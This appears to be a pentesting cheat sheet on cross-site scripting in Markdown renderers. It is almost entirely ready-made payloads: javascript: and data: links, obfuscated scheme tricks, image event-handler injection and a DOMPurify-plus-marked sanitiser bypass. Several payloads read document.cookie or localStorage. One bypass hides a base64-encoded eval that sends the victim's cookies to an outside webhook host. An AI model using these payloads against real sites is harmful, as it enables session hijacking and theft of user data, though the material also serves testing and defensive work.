XSS in Markdown
HTML tags
The most common way to get XSS in markdown is to inject common HTML tags that execute javascript, because several makdown interpreters will also accept HTML
XSS with regular tags
You can find more examples in the https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting
Javascript links
If HTML tags aren't an option you could always try to play with markdown syntax:
markdow link to XSS, this usually always work but it requires interaction
Other links attacks with some bypasses[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
Img event syntax abuse
![Uh oh...]("onerror="alert('XSS'))
![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
HTML Sanitiser Markdown Bypass
The following code is sanitising HTML input and then passing it to the markdown parser, then, XSS can be triggered abusing miss-interpretations between Markdown and DOMPurify
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
const qs = new URLSearchParams(location.search);
if (qs.get("content")?.length > 0) {
document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
}
</script>
Payloads example:
<div id="1
//)">
-----------------------------------------------
<a title="a
<img src=x onerror=alert(1)>">yep</a>
------------------------------------------------
[x](y '<style>')<!--</style><div id="x--><img src=1 onerror=alert(1)>"></div>
----------------------------------------------
[<p x='<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#'></p>)
----------------------------------------------
`<p x="`<img src=x onerror=alert(1)>"></p>
Fuzzing
<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
-->
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
)\
<javascript:prompt(document.cookie)>
<javascript:alert('XSS')>
\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[clickme](vbscript:alert(document.domain))
_http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
[text](http://danlec.com " [@danlec](/danlec) ")
[a](javascript:this;alert(1))
[a](javascript:this;alert(1))
[a](javascript:this;alert(1))
[a](Javascript:alert(1))
[a](Javas%26%2399;ript:alert(1))
[a](javascript:alert(1))
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a](javascript:alert(document.domain))
[a](javascript://www.google.com%0Aalert(1))
[a]('javascript:alert("1")')
[a](JaVaScRiPt:alert(1))
![a](https://www.google.com/image.png"onload="alert(1))
![a]("onerror="alert(1))
</http://<?php\><\h1\><script:script>confirm(2)
[XSS](.alert(1);)
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[ ](http://a?p=[[/onclick=alert(0) .]])
[a](javascript:new%20Function`al\ert\`1\``;)
[XSS](javascript:prompt(document.cookie))
[XSS](j a v a s c r i p t:prompt(document.cookie))
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](javascript:alert('XSS'))
[XSS]: (javascript:prompt(document.cookie))
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
[XSS](javascript://%0d%0aprompt(1);com)
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](vbscript:alert(document.domain))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1))
[XSS](Javascript:alert(1))
[XSS](Javas%26%2399;ript:alert(1))
[XSS](javascript:alert(1))
[XSS](javascript:confirm(1)
[XSS](javascript://www.google.com%0Aprompt(1))
[XSS](javascript://%0d%0aconfirm(1);com)
[XSS](javascript:window.onerror=confirm;throw%201)
[XSS](�javascript:alert(document.domain))
)\
\
\